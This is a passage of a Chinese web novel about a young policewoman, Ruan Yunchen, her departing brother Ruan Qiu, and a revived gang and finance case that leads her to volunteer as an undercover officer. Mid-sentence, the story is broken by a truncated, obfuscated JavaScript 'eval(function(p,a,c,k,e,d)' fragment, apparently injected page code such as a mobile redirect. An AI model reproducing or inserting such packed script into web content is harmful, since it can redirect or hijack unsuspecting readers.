走之前的那一晚,胖子叫上了所有人,一起举办了个巨大的送别宴。 淼淼,阮秋,阮云琛,还有被他硬是拉来的廖致远,以及早出国玩的没了影的拳馆老板陈二起,还有他网吧里雇的两个大学生员工。 胖子订了个小饭馆的二楼包间,摆了一桌热气腾腾的酒席。他拍着胸脯说:“今天我请客,谁也别抢单!” 结果菜单一翻,发现价格超出预算,又偷偷改了几道菜,换成了便宜的家常菜,嘴里还不忘念叨:“这年头,吃饱喝好就行,别讲究那么多。” 饭菜上桌时,已经是晚上七点多。 包间里的人都到齐了,淼淼占了靠窗的位置,嘴里叼着根吸管,眼神乱飘,似乎对这场送别宴提不起什么兴趣。 廖致远坐在角落里,手机放在桌边,时不时地低头回复信息。拳馆老板陈二起这几天刚回来,晒得像块碳,一坐下就伸手去够胖子那瓶啤酒。 胖子用筷子敲了敲桌子:“今天可是咱秋弟弟的大日子,大家谁都别客气啊,敞开了喝!” 话虽这么说,等他自己举起杯时,才发现酒量最浅的就是他。三轮酒还没过,胖子已经开始胡吹乱侃:“小秋啊,你这趟去英国,不光是咱家的骄傲,还是咱这片儿的骄傲!到那边可得给我争口气,回来别忘了帮我弄个网吧国际认证啥的,听说洋人最爱搞那套!” 阮秋本来想说“谁跟你是一家”,可话到嘴边,又犹豫着咽了下去。 陈二起撸了把自己油乎乎的大光头,在旁边起哄:“你咋不让他也给你带个洋妞回来?回头给你网吧宣传宣传,也算文化交流!” 淼淼一口饮料差点喷出来,拍着桌子笑得前仰后合:“你俩真是绝配,想得一出是一出!” 阮云琛却一句话没说。 她坐在桌角,手边的杯子一杯接一杯地空了,又被服务员换上新的。啤酒的泡沫晃晃悠悠,像是一种静止的喧嚣。 她低着头,眉眼藏在阴影里,手指不自觉地沿着杯沿摩挲,像是在寻找什么平衡,却始终没有抬头。 阮秋喝了两杯,脸上染上了一层淡淡的红色。他坐在她的对面,时不时地偷偷看她一眼。可她的神色像块冷硬的石头,没有任何松动的迹象。 他想刚开口,话音却被胖子打断了:“小秋,来,咱哥俩喝一个!你这次可得出人头地,别让我这小网吧老板丢脸!” 阮秋无奈地笑了一下,举起杯和胖子碰了碰:“好,我一定不让你丢脸。” 胖子的笑声响彻整个包间,像是要把所有尴尬都掩盖过去。 可随着时间的流逝,酒杯碰撞的声音渐渐弱了下去,淼淼撑着下巴开始打哈欠,陈二起已经趴在桌边发出了小声的鼾音。 散场时,阮云琛站起身,扶了一下桌子。动作一如既往的稳,但阮秋却在那一瞬间察觉到了一丝不易察觉的疲惫。 他条件反射般地抬起手,想要扶住她,可手刚抬到一半,就像被什么钉住了一样,僵在半空。指尖微微蜷缩了一下,最终还是默默地垂了回去。 阮云琛没有看他,也没有看其他任何人。 她像是没注意到背后的目光,自顾自地扶着墙走向门口。那背影修长而挺直,可却透着一种落寞的疏离感,像是刻意在把所有人与自己隔绝开来。 她从头到尾都没再回头看一眼。 阮秋站在原地,视线追随着她的背影,心底仿佛有什么东西一点点下沉,变得沉重又模糊。他张了张嘴,却发现自己什么也说不出口,只能看着她的身影消失在楼梯的尽头。 胖子打了个酒嗝,朝阮秋挥了挥手:“秋弟弟,记得到了那边多发几张照片回来啊,别让我们几个念叨得睡不着觉!” 阮秋笑了笑,目送着阮云琛的身影消失在楼梯转角。他抬头看了一眼天花板上摇曳的灯光,胸腔里涌上了一种说不清的空落。 这一场送别,喧嚣了整个晚上,最后却只剩下一片沉默。 101. 一通电话 阮云琛本不想把事情做得那么绝。 可事情的走向已经不是她能够掌控——甚至不是她能够预估的方向了。 不是阮秋,而是......宋祈。 窗外的天刚蒙蒙亮,灰蓝的光线透过窗帘的缝隙洒进来,映在桌面上,将那堆未完成的文件染上一层朦胧的冷意。 她盯着桌上的一沓材料,目光沉静得像是一潭死水,手里的笔却一刻未停。 胖子的网吧事件不是一场普通的流氓闹事。 他的网吧被砸了之后,像是一滴墨砸进了平静的水面,荡开的涟漪一圈圈扩大,最终模糊了边界。 阮云琛不是没预料过,只是没想到会来得这么快。 她也没想到过,对方的动作会如此直白,直白得让人觉得毫无畏惧——就像一个从不怕暴露的猎人,随意地在草丛里挪动自己的陷阱。 她从胖子的嘴里听到那些不经意流露的只言片语,又在廖致远那里拼凑起了一张图,图上的每一笔线条都隐约连向某个她熟悉又厌恶的名字。 李成庆——或者说,王赖成。 一个老江湖,一个玩弄数字和账户的惯犯。 可王赖成的这些花招,阮云琛比谁都清楚。 这不可能是他一个人能玩得转的。 城北的桥头堡,那些灰色地带中的公司和账户,像是一场无声的战斗拉开了帷幕。 王赖成只是开场的棋子,真正的玩家还躲在暗处,看着每一个人入局,或者出局。 胖子那天摔了泡面碗,听完阮云琛的话后,不笑了。 他说:“阮妹妹,我有点后悔开网吧了。” 话里的调侃已经去了一半,剩下的全是心虚。 阮云琛靠着网吧的柜台,看着天花板上的灯光微微颤抖了一下,像是有什么从那里飘了过去,又在她脑子里定格。 她没说话,眼神垂下来,看到胖子手边的账本。账本上一串又一串的数字,像是一根根线,末端直通某个地方。 她没有深究。 深究了,就再没有回头路了。 几天后,胖子的网吧又重新开了门,外面挤满了打游戏的学生。 和那些学生一起涌进来的,还有一些人,不玩游戏,只坐在角落里低声交谈,或者盯着进进出出的人发呆。 阮云琛知道,那不是学生,也不是普通人。 更大的麻烦像潮水一样涌过来,一层层地打在城北的每一条街上。 李成庆的那些“合作伙伴”,开始明目张胆地在城北出现,空置的公司多了起来,仓库的灯光每到半夜亮得像白昼,巷子里偶尔传来一两声低沉的吆喝。 胖子的网吧,只是这些潮水中一块小小的礁石。 而也挺难得,警方确实注意到了。 阮云琛不是没想过,有些事情只要没人提,就能在时间里被搁置成一堆老旧的档案,积灰,再也没人翻看。就像五年前的和安堂案件,外表看起来已经尘埃落定,但尘埃下藏着什么,谁都不想问,也没人真敢问。 可这次......不一样。 资金报告送到了廖致远的手上。那是一份枯燥到让人想打瞌睡的财务追踪文件,可在他手里,却变成了案子新的风向标。 他盯着报告里某段异常资金流向,眉头皱得像快要结冰。他指着那一段,对身边的人低声说了一句:“这条线,是给宋祈探的。” ——宋祈。 这个名字落在空气里,像是一枚钉子。 阮云琛听到这个名字时,胸口还是闷了一下,像被压了块大石头,又像被什么尖锐的东西轻轻划过。 这个名字曾是她世界里一片阴影的中心,她用尽全力逃离,却还是在这里,被人重新提起。 但奇怪的是,她的反应并没有她自己想象中那么强烈。 或许是因为,宋祈的存在从未真正离开过她的生活。 金融犯罪本来不归廖致远的组管。他的组是扫黑,任务是清理街头巷尾那些看得见的暗流,而不是追查账户里藏起来的秘密数字。 可不知道是哪位领导突然拍了脑袋,将李成庆的案子并了过来,说是“金融与涉黑可能存在交叉”。 阮云琛想笑。 这是五年来她听过的最冠冕堂皇又最荒唐的理由。 警方真要认真追查,宋祈的名字在案子里浮现不止一次,可每次都像是故意被跳过,仿佛一提到他就会让结案报告变得不再那么漂亮。 现在倒好,忽然把案子塞进扫黑组的口袋里,似乎是想告诉谁,这条线索值得认真看看了。 廖致远翻完报告,神情没有太大变化,只是把文件随手搁在一旁:“和我们之前推测的一样,李成庆是个幌子。” 幌子。 这个词落在桌面上,像一滴油融进了水里,迅速扩散开来。 阮云琛知道他说得对——李成庆这种人不会无缘无故出现在淮龙,更不会单枪匹马在城北闹出这么大的动静。 他是宋祈用来探路的一枚棋子,而棋盘就在淮龙的这片灰色地带。 宋祈就像埋在地下的一颗种子,只等某个合适的季节,又重新生根发芽。他用李成庆的手,摸到了城北的灰色地带,摸到了胖子的网吧,甚至摸到了警方的视线里。 有人说,那里是一场还没开始的战争。 阮云琛想,那或许是一个局,一个宋祈设下的局,等着人往里跳。 问题是,这个局究竟是想抓谁,又能抓住谁? “姐最近都好,就是经常加班。”阮淼淼的声音从房间里传来,像蒙了层雾,听不真切。 “你暑假也不回来吗?”淼淼又问,“姐有毕业典礼哎,难得校外人可以参加的。” 阮云琛在客厅坐着,杯子里早就没有了水,她却忘记把杯子从嘴边拿开,只是怔怔地坐着,听着淼淼断断续续的声音,猜测着电话那头的人到底在说些什么。 淼淼咯咯笑了几声,又聊了些什么漫画的事情,随后忽地“呀”了声:“对了,姐姐今天回家了,你要让她接吗?” 阮云琛一个激灵回过了神,条件反射地就从沙发上站了起来,踩着淼淼开门的动静,逃也似的钻进了屋。 淼淼拖着长长的音调“哎——”了声,又关上了房门:“她好像进屋忙去了。” 阮云琛松了口气。 毕业那天,淮龙的天气出奇的好,蓝天白云,阳光洒在人身上,像是被时间特意打磨过的一天。 阮云琛从人群中走过,穿着学士服,帽穗在风里微微晃动。 台下是稀稀拉拉的观众席,她一眼就看见了淼淼和胖子。他们挥着手,像是在迎接一场冠军的归来。胖子的嗓门大得吓人,喊得整个操场都能听见:“阮妹妹,加油啊!” 阮云琛看向他们,扬了扬嘴角,笑容却浅得像是没睡醒。 阮秋没来。 她没有期待,但还是忍不住想了一瞬间——也许,会不会,他突然就站在某个角落,像过去无数次那样,带着点委屈又倔强的表情喊她:“姐。” 可......他没有。 阮云琛低头整理了一下衣领,表情又恢复了平静。她转身走上了台阶,目光微微向前,像是专注于某个固定的点。 台上的仪式庄严又简短。校长念完了几句循规蹈矩的祝福词后,她低头接过了毕业证书。掌声响起的时候,她的嘴角又扬了扬,却没有多余的笑意。 她知道毕业意味着什么。 一切,才刚刚开始。 毕业前的这段时间,警方的动作比以往更频繁了些。 城北的小型帮派突然活跃起来,案件手法和和安堂的旧案有几分相似。阮云琛翻阅档案时,看到那些熟悉的名字和场景,手指轻轻顿了一下,像是被无形的力量拉回了过去。 胖子的网吧被用作了一次钓鱼行动。 那些看似偶然的资金流动被故意放大,像一根鱼线,钓出了李成庆的尾巴。 李成庆被捕的时候,表现得非常镇定,甚至带着几分嘲弄。可真正让警方头疼的是,随着他的落网,他背后的线索却像被人用力斩断一样,瞬间消失得无影无踪。 警方似乎这个时候才开始意识到,事情并不简单。 廖致远接手此案,理由简单又让人无法忽视:他是六年前“和安堂”案的主办警官,熟悉案件的每一处漏洞与复杂关系网。 他翻阅着新的案卷,眉头始终没有舒展开过。他把档案甩在桌上,对身边的同事冷冷丢下一句:“这些人,根本没打算藏。” “没打算藏”,这话听起来轻描淡写,却带着一种难以言喻的寒意。阮云琛从文件堆里抬头,看见廖致远神色阴郁,目光停留在某张照片上,像是在看着一个再熟悉不过的对手。 廖致远提出让阮云琛加入扫黑组的时候,语气平淡得像是谈论今天的天气。 “你毕业后有什么打算?”他问。 阮云琛把手里的资料放下,看了他一眼,语气平静:“听安排。” “那就到我组里来。”他说完这句话,把档案合上,语气依旧平静,“和安堂的案子需要人手,你的成绩不错,任务不少,我批了。” 阮云琛知道他并不是徇私。 她的课业成绩在整个年级都算得上名列前茅,大三大四在派出所的实习期间,更是因为多次破获小型案件被评为了“优秀实习生”。可即便如此,她还是愣了两秒,随即迅速恢复了冷静。 “你确定?”她问。 “嗯。”他的回答没有半点犹豫,甚至带着几分毋庸置疑的意味,“你比所有人都更了解这个案子。” 他的话,像是戳中了某根神经。阮云琛没说话,只是垂下眼,手指轻轻摩挲着档案的边缘。 廖致远这么说,不无道理。 确实没有人比阮云琛更了解和安堂,更不可能有人比她更明白那些刀尖舔血的人,到底是在撒谎,还是真的有恃无恐。 李成庆被捕后,警方的动作迅速而精准,像是怕错过什么稍纵即逝的机会。人一进审讯室,隔离措施立刻到位,连审讯记录的备份都被小心封存,像是在守护一件极其易碎的东西。 被捕的消息没传出去,宋祈失去了一个关键的代理人,可这并不意味着一切都结束了,相反,所有人都知道,这才刚刚是开始。 李成庆对自己的罪证供认不讳,但对背后的存在却闭口不提。 “他在装傻。”阮云琛说,“他在......拖延时间。” 阮云琛甚至能想象到宋祈的反应。 宋祈不会急,他从来都不急。 他会等,等到警方的网收得越来越紧,等到他手里的每一张牌都洗得干干净净。然后,他会用一种最干脆的方式解决问题——不留尾巴,不留证据。 这不是第一次了。 她站在那里,目光始终没有离开那块玻璃,背后却已经被一股无形的压力压得僵硬。 廖致远抬头看了她一眼,没有追问,像是早就料到了这个答案。 他们都知道李成庆是个幌子。他的身后有一条更大的线,而这条线已经开始往回缩了。 ——宋祈回来了。 “家和学校附近会有巡警,你不必担心。”廖致远的声音低而沉,像是每一个字都带着某种刻意的安抚。 阮云琛怔了怔,点了点头。她的手指下意识地攥紧了袖口,掌心微微出了一层汗,湿热得让人不舒服。 廖致远叹了口气,手伸进口袋时,习惯性地摸向烟盒,却掏出了一包牛肉干。 他愣了一下,随即想起来,最近回家时常被淼淼抱怨吸烟味道太呛,每次烟盒都被偷天换日地换成了这些乱七八糟的零食。牛肉干是最常见的,有时候还有猪肉铺,甚至是几根同等重量的棒棒糖。 所有的烟,毫无例外,都被那丫头没收并销毁了。 他盯着手里的牛肉干袋子看了一会儿,忍不住笑了笑,又把袋子揣回了兜里,抬眼看了阮云琛一眼:“小秋最近还好吗?” 阮云琛沉默了一会儿,语气听不出什么情绪,只是轻轻地“嗯”了一声。 廖致远的目光在她脸上停留了一瞬,像是要从她平静的表情里看出点什么,却最终没开口。 他靠在椅背上,点了点头,没再多问。 过了很久,他忽然开口,语气少了几分惯常的随意,多了几分隐隐的郑重:“有些误会,如果能解开,还是早点解开。” 阮云琛一愣,抬起头看向他,眉头轻轻皱了一下:“廖叔......” “别想太多,”廖致远摆摆手,打断了她的话,语气又恢复了平日的轻描淡写,“我这人年纪大了,爱操心,总觉得家里头有些事情别拖着,总归是好事。” 他的目光垂下,落在地面上,像是在追溯某些过往的记忆,又像是在思考什么没说出口的事。 阮云琛沉默了片刻,最终点了点头,语气平静:“我知道了。您不用担心,没事的。” 廖致远嗯了一声,没再多说。 房间里一时间陷入了静默,只有墙上的钟表发出轻微的“滴答”声,像是为两人之间的无声交流计时。 窗外的阳光被风吹得有些晃动,洒进来的光影在地板上摇曳不定。空气里弥漫着一股淡淡的烟草残留的味道,夹杂着牛肉干的香气,让人莫名有些安心,又有些难以言说的沉重。 没过多久,廖致远的手机响了起来。他接了电话,眉头皱了一瞬,随后站起身收拾文件:“我得去开个会,上头点名的,不是案子,跟你没关。” 阮云琛本能地站了起来,想跟着一起,却被廖致远抬手按回了椅子。 “真不是案子,”廖致远的语气少了几分平日的冷淡,多了点轻松的意味,“你别总这么绷着,该休息就休息。” 阮云琛怔了怔,点了点头。 廖致远带着一叠资料离开了,脚步匆匆,像是又投入到了某个忙不完的局里。 淮龙毕竟不算大城市,公安系统里人手有限,每个组的成员几乎都身兼数职。 宋祈也好,和安堂也罢,这些都还没有完全浮到水面上,暂时也难以调动更多人手。相比之下,李成庆的案子不过是捎带上的“意外收获”,还不够资格成为市局重点。 阮云琛坐在原地,静静地看着桌上的文件。阳光透过百叶窗洒在桌面上,浅浅的光影在纸张上摇晃,让人分不清它们到底是在映衬着某种安逸,还是另一种更加隐秘的忙碌。 下午时分,淼淼被胖子送回了家。胖子依旧是那副乐呵呵的模样,轻车熟路地从门口的架子上摸了两袋牛肉干揣进口袋,冲着阮云琛一边挥手一边笑:“哎哟,阮妹妹,别太累了啊,回头请你吃面!” “好。”阮云琛点了点头,笑意浅得像风过一池水,转瞬即逝。 胖子晃晃悠悠地走了,楼道里的脚步声越来越远。 淼淼哼哼着脱了鞋,没跑几步就直奔卫生间。门一关,哗哗的水声响了起来。阮云琛听着那动静,不紧不慢地把餐桌上的筷子摆好,刚抬头,沙发上的手机忽然震动了起来。 铃声轻快,一遍一遍地循环,像是特意挑的某种漫画主题曲,莫名有点吵人。 “姐!”淼淼隔着门喊了一声,“可能是秋哥的电话!你接一下呗!” 阮云琛抬眼看了那手机一眼,指尖顿了顿,随后站起身来。 她走到沙发边,低头盯着屏幕上那个熟悉的备注。铃声还在响, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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电话那头传来了海浪的声音,紧接着,像是有几只海鸥打闹着掐着架从旁边扑棱着飞了过去。 阮秋似乎是拿着手机换了个位置,浪花声和风声都变得小了。 他的声音低下来了一点,像是自言自语,又像是怕某个无声的听众漏掉什么重要的细节:“其实这边挺安静的,我和人合租了套房,地理位置挺好,房间也也舒服,向阳的。这边的餐厅我有些吃不习惯,但是好在自己会做饭...哈哈,淼淼,你可别再给姐蒸夹冰碴的馒头了。” 说着,阮秋停顿了一下,忽然像想起什么似的,又补充道:“对了,我上次不是说喜欢那个破案类的课吗?这学期确实是最后一次开了,我选上了。教授人挺好,讲课也有意思,说实话,还挺期待的。” 电话这端的阮云琛坐在餐桌旁,手指无意识地搁在桌面上轻轻叩动。她听着他的声音从扬扬洒洒的近况分享,到最后略带一点拖延的语气,终于微微侧头看了一眼屏幕上那串熟悉的号码。 “还有啊,淼淼,帮我跟姐说,真的不用担心我。我挺好的,真的,过得很好。这里没那么乱,生活简单得很。告诉她,她自己也别太累了,学会偷懒,别老那么拼。” 卫生间的水声停了。 淼淼从浴室探出头,湿漉漉地喊了一句:“秋哥,我洗完了,等我一下啊!” 随后“啪”的一声把门甩了上。 房间忽地安静了下来。 阮秋在电话那头似乎笑了一声,然后沉默了一会儿,低声补了一句:“生日快乐,姐,我很想你。” 待手机里传来忙音时,阮云琛才意识到他挂断了。 她盯着屏幕上跳出的通话结束页面,嘴角似乎动了一下,但最终没有发出任何声音。指尖无意识地搁在手机边沿摩挲着,最后轻轻敲了一下,像是敲进了自己的心里。 淼淼还在卫生间哼着歌,水声遮住了她的声音。 阮云琛站在原地,手里握着已经熄屏的手机,像是站在某个早已无法追溯的时间节点,周围的空气都被抽离,只剩下那句“我很想你”在耳边回荡。 ——想念。 谁不想呢? 谁不想啊...... 淼淼还在卫生间哼着歌,水声模糊了背景里的所有声音。 阮云琛站在原地,手里握着已经熄屏的手机,像是握着一个还没来得及散去的梦。 她低头看着屏幕的光一点点消失,直到只剩下自己的倒影映在上面——眼神疲倦,嘴唇紧抿,像是藏着什么说不出口的话。 过去的将近十年里,这个名字,这个声音,这个人,从来没有真正消失过。 从桥下的第一包豆浆开始,到他第一次唤她“姐”,再到那间狭小的筒子楼,一起守着生锈的煤气灶和热得滴水的电风扇……她的人生从来不算平坦,可那些碎碎念念的小日子,却总像一根线,把她跟他缝在一起。 七年的同一个屋檐下,说长不长,说短也足够让人习惯。 习惯他在桌边拿着她写过的试卷皱眉琢磨;习惯他在淼淼面前一本正经地说教,转头却又偷偷给小丫头多买了根棒棒糖;习惯他拿着一罐药膏追着她要上药,还一边絮叨“姐你怎么又受伤了”……这些东西都太日常了,日常得让人下意识以为会一直延续下去。 可现在呢? 淼淼长大了,已经快追上她的肩膀;胖子的网吧不再有“秋弟弟”这个常客;而那双曾经跟在她身后喊“姐”的脚步,已经隔着千里之外的时差。 阮云琛闭了闭眼,把手机轻轻搁在桌上。 她从来没想过,有一天他会真的离开。 小时候的阮秋总是腼腆又倔强,跑得不远,折腾不了几天就会回来。可这一次不一样,他不再是那个会在家门口张望的小男孩了。他长大了,走得越来越远,也越来越难以捉摸。 手机屏幕上还残留着一点指纹,她下意识地伸手抹了一下,像是在抹掉某种无法承受的痕迹。 他在电话里说:“我很想你。” 她却只能想起另一个声音。 ——“姐,我是不是你家的麻烦?” 那时候,她答得斩钉截铁:“不是。” 可她现在才明白,那句“不是”有多沉重。 她想保护他,不想让他卷进她的生活;可正因为她的保护,他才会觉得自己的存在成了一种累赘。 阮云琛以为,把他送得远一点,是为他好,可事实呢? 也许这份距离,不止是他需要消化的,也是她自己需要去习惯的。 阮云琛按了按眉心,吐出一口长气,把脑海里的这些声音赶了出去。 空气静了下来,只有窗外传来的蝉鸣和风扇吱吱呀呀的声音。她抬眼看向窗外,天色渐晚,夕阳把整片天烧得通红,像是燃烧着什么无法挽回的东西。 “姐——秋哥说了啥?”淼淼的声音从身后传来,带着刚洗完澡后的清爽。 “没啥。”阮云琛随口应了一句,语气平静得仿佛刚才什么也没发生,“他说奖学金下来了。” 淼淼咂了咂嘴:“哎,秋哥真厉害。” “嗯。”阮云琛点点头,随手拨了一下桌上的筷子。 她没有再多说什么,低头看着桌面,像是在琢磨什么,又像是在单纯地放空。过了一会儿,她站起身,拿起椅背上的外套:“晚饭你自己吃,我出去一趟。” 淼淼一脸疑惑地看着她的背影:“这么晚了你去哪儿啊?” “加班。”阮云琛的声音从门口飘过来,没头没尾,像是风里的一片云。 102. 身份 李成庆的案子陷入了死局。 资金线索到此为止,所有关键人物要么销声匿迹,要么以各种完美的理由将自己撇得干干净净。 审讯室里的灯光从明到暗,廖致远看过一份又一份笔录,眉头始终没有舒展过。他知道,问题不是出在这里,而是更深、更远的地方。 和安堂。 这个被遗忘了六七年的名字,像一块淤青,在不经意间被人碰了一下,疼得不算太明显,却足够让人难以忽视。 廖致远最终拍了板,向上提交了一份重新调查和安堂旧案的申请。 文件递交得很快,批复也快得出乎意料——也许是因为李成庆的案子与某些模糊的资金动向牵扯太多,又或者是上头也察觉到了某种不安的苗头。 很快,和安堂的旧案卷宗被调了出来。那些本已在档案室里落满灰尘的文件又被摆上了会议室的长桌。被关押的旧案犯一个接一个被提审,审讯室里的灯光重新亮了起来。 几天后,李成庆被第二次带进了审讯室。 这一次,他的态度松动了。断断续续的供词间,透露出了一个足够让整个警局都陷入沉默的消息——宋祈回来了。 这个名字像一把锈迹斑斑的刀,在空气中划过一声沉闷的响声。廖致远靠在椅背上,目光落在对面的镜头上,半晌没有开口。他不是没想过这个可能,可当它真正摆在面前时,仍然让人难以平静。 后续的调查证明,李成庆的资金操作和最近几起帮派活动背后,都带着和安堂的影子。虽然宋祈一直没有直接露面,但他的存在感却像一张巨大的网,笼罩在淮龙的上空。 会议室陷入了沉默。 宋祈的存在像一块巨大的阴影,压在所有人心头。审讯资料里没有他的正面证据,资金流向也断得干干净净——他不是不在,而是从未真正露面。 潜伏是唯一的选择。 可这个选择提出来后,换来的却是更加漫长的沉默。原因很简单:没有人适合,也没有人愿意。 淮龙不是个大城市,警力本就紧张,这样的任务不仅危险,甚至没有太多实质意义。对上级来说,这不过是个被翻出来的旧案子,重要性远不及更紧急的案件。 “潜伏”两个字就像一颗石子,落进了会议室里的死水中,没有激起任何回响。 廖致远独自留在了会议室,盯着那份被来回翻阅得有些卷边的报告出神。 他看起来很平静,可掌心里捏着的那只笔,却在无声地出卖着他的心情——笔尖已经被他按得完全缩进了壳里。 而他面前,是同样没有走的阮云琛。 她穿着警服坐在那儿,神色冷静得像是在执行一场普通的任务。可廖致远知道,这不是普通的任务,也不是普通的请示。 他抬起眼,看了她很久。 “你知道这意味着什么吗?”他的声音很平静,甚至没有什么情绪波动,像是在确认,又像是在警告。 “我知道。”阮云琛的声音同样平静。 廖致远本来以为,阮云琛毕业后会离这个案件远一点。 不是她的能力不足,而是这份工作对她来说,可能早就不是一份单纯的职业了。 那些年她经历过的事,像是淤泥一样裹在她的身上,沉重到让人喘不过气来。他不想让她再回到那片泥潭里,哪怕只是踩一下边缘。 可她站在他面前,说自己要去。 办公室的光线很亮,阳光透过百叶窗落在桌上,像是把空气都切割成了碎片。廖致远的目光落在那束光里,长久地没有抬起来。 他早就知道有这么一天。 那些年阮云琛经历过的事,像是淤泥一样裹在她的身上,沉重到让人喘不过气来。他不想让她再回到那片泥潭里,哪怕只是踩一下边缘。可她站在他面前,说自己要去。 廖致远明白,她确实是警方最合适的人选。 她的档案干净,几乎没有抛头露面的经历——除了李成庆的案子,但那次她接触的不过是李成庆的几个手下。而李成庆本人与她并没有直接交集,更不可能知道她的身份。 李成庆早已被宋祈抛弃,像一颗被遗忘的棋子,即使落到警方手里,也掀不起什么风浪。 且...... 没有人比阮云琛更了解宋祈。 她比任何人都清楚他的手段,清楚他的性格,甚至清楚他的一举一动背后可能隐藏的意图。 她曾经是他的“人”,也曾经是他最信任的那条“狗”。这些隐秘的过往,既是她的负担,也是她的武器。 廖致远知道这些,他没有对任何人说。 福利院、和安堂、宋祈——这些东西如果一旦被翻出来,阮云琛得到的不是正义,而是更深的怀疑与排斥。 廖致远自认为不是个彻底冷血的人,他有自己的底线,有些事情该做,有些事情不该做。 他当年救她,不只是因为她是个孩子,而是因为绝对不该背负全部的罪责——哪怕她并非完全无辜。 当年如果如实上报,事情或许会有另一种走向。 但那样的“正义”是无解的。 一切的矛头都会指向她:那个从泥泞里挣扎出来的小姑娘,成为了他人口中轻而易举的靶子。她可能不会受到法律的制裁,但一定会被舆论淹没,被社会眼光折磨得体无完肤。 他见过太多这样的案例——污点无关大小,也无关对错,一旦被揭露,人就成了怪物,成了别人餐桌上的谈资。 阮云琛已经走出了那片阴影,他不想再把她拉回去。 可现在,她站在这里,像是一个回到了原点的旅人,明知道前方是深渊,却执意要向那里走去。 “我以为你比谁都清楚,宋祈是什么样的人。”他靠在椅背上,语气里带着几分难以言明的复杂,“你不是不知道他的手段。” “正因为知道,我才要去。”她的目光没有躲避,直视着他。 阮云琛的语气平静,没有请求,也没有一丝犹豫。像是在陈述一个早已决定好的事实。 廖致远忽然想起几年前的那个晚上,他问过阮云琛,问她:“你不想亲手抓他吗?” 阮云琛那时的眼神平静到近乎冷漠,却比愤怒更让人难以承受。 她没有回答,只是重新低下头,继续写着试卷。笔尖用力得过了头,纸张在一瞬间撕裂开一小块,墨水浸透了边缘,留下深色的印记。 廖致远那时就明白了——她想,她比谁都想。 可阮云琛从未承认过,也从未请求过任何人帮她完成这件事。 眼前的她依然如此。平静得像是可以熄灭一切的火种,但廖致远知道,那份火光从未真正熄灭过。 “如果我不去,就不会有未来了。”她说。 廖致远沉默了许久。 房间里只剩下桌面上文件的微弱翻动声,他手里的笔搁在纸面上,稍稍挪了一下,最终还是放了下来。 “很危险。”他的声音很轻,却掷地有声。 这是句事实,也是一种告诫。 阮云琛没有避开他的目光,平静地回道:“我知道。” 她的声音一如既往的沉着,却让廖致远的胸口压着一块无形的石头。 他看着她,试图从她的表情中找到一丝动摇,可她的眼神太平静了,平静得让他不安。 廖致远叹了一口气。 他把笔随手搁在桌子一边,往后靠了靠,目光落在她的脸上:“你比谁都清楚,宋祈不是好对付的。他……他会盯着你的每一个细节。” “我明白。”阮云琛的回答几乎没有停顿。 这份冷静让廖致远忍不住皱了皱眉。 他忽然想起了过去那些年——阮云琛从来不是一个会轻易示弱的人。 哪怕是在她刚刚到他家时,满身是伤、眼里空无一物的那个年纪,她依旧用那种淡漠得近乎倔强的态度对待一切。 可她毕竟是人,不是刀,刀钝了可以磨,人垮了却只能失去。 “这不是你一个人的事。”廖致远压低了声音,像是想通过这种方式让她冷静下来,“你有家,有人等着你。你就算不为自己,也得为——” “正是为了他们,我才要去。”她打断了他的话,声音没有任何起伏,却带着一种不容反驳的力量。 廖致远的喉咙像是被什么堵住了,剩下的话一个字也说不出来。 他的手指紧紧攥着椅扶手,像是在用这种方式稳住自己。可他的目光里,却多了一层复杂的情绪,那种介于担忧与无奈之间的沉重。 “你知道你在做什么吗?”他还是问了一句,声音里多了几分压抑的情绪,“不只是宋祈,还有他那些人……你能保证你——” “比起坐以待毙,我更希望主动出击。”她打断了他,声音依旧平静,却透着一种不容置疑的果决,“被动挨打只会让情况更糟,而主动出击,至少我能争取一些主动权,也能提前做好准备。” 廖致远愣了一下。 他看着面前的阮云琛,目光一时间难以聚焦。 那个站在寒风里,问他“求您帮帮我”的小女孩,似乎已经离他很远了。眼前的这位警察,从眼神到语气,都透露出一种不容置疑的笃定。 是啊,她早就长大了。 可从什么时候开始,她已经不需要别人告诉她该怎么走下一步了?是高考那年,是警校毕业的时候,还是更早……? 不......不,她从来就没有不成熟过。 从她第一次以成年人的姿态对命运发起抗争的时候,她就已经是个懂得生存法则的成年人了。 可正因为如此,心酸才会莫名其妙地涌上心头。 明明年纪还那么轻,却已经早早地背上了不该属于她的重量。 “我会批你的任务申请。”廖致远说。 他的声音低沉,但带着一种无可奈何的妥协。他的目光落在她脸上,像是在试图寻找一丝可以让他收回这句话的犹豫,可她太平静了,平静得让他无从反驳。 “但记住,”他顿了一下,语气沉了几分,“我希望你明白,无论什么时候,都不要让自己陷入孤立无援的境地。” 阮云琛点了点头,目光坦然:“我知道。” 廖致远看着她,眉头微微皱起,却最终什么也没说。他知道自己只能妥协,也只能在心里祈祷她的决定不会将她带入深渊。 潜伏是目前最合适的方案——至少在他们看来是这样。可“合适”并不代表“有效”。 眼下警方手里没有任何有关宋祈的线索。 他在哪里,他在做什么,甚至他到底有没有真的如李成庆所言亲自回到淮龙,全都是未知数。 李成庆的嘴巴已经被撬开了好几次,可他提供的每一条信息,都像是故意绕着圈子——没有具体地点,没有明确的联系人,甚至连半点逻辑都拼凑不起来。 可这不是因为他有多聪明,而是因为......他真的不知道。 李成庆只是宋祈手底下的一个小角色,一个用来试水的马前卒。 他的作用从一开始就很明确:用来吸引注意力,用来填坑,用来作为警方视线的遮挡物。 那条线——宋祈与他的联系,不是被警方切断的,而是被宋祈单方面毫不留情地斩断了。 李成庆不是不知道这一点。 他当然知道自己不过是一颗弃子,甚至可能连棋盘上的地位都算不上。 他的供词里,掺杂着恐惧与愤怒,可更多的,还是一种无奈。像是在说:你们怎么可能从我这儿得到答案?我自己都不知道。 案情再次陷入僵局。 警方只能加大港口、仓库区的巡逻力度,将所有可能的蛛丝马迹抓得更紧一些。可偏偏就在这个时候,宋祈自己出现了。 他没有藏着,没有躲避——甚至可以说,他出现得光明正大。 东边港口的酒吧,霓虹灯闪得比海面上的波光还刺眼。 宋祈就在那里,坐在吧台边,拿着一杯颜色鲜艳的鸡尾酒,笑得像个无事可做的游客。他喝酒,跳舞,和陪.酒小姐聊得火热,看起来就像是这个地方的常客。 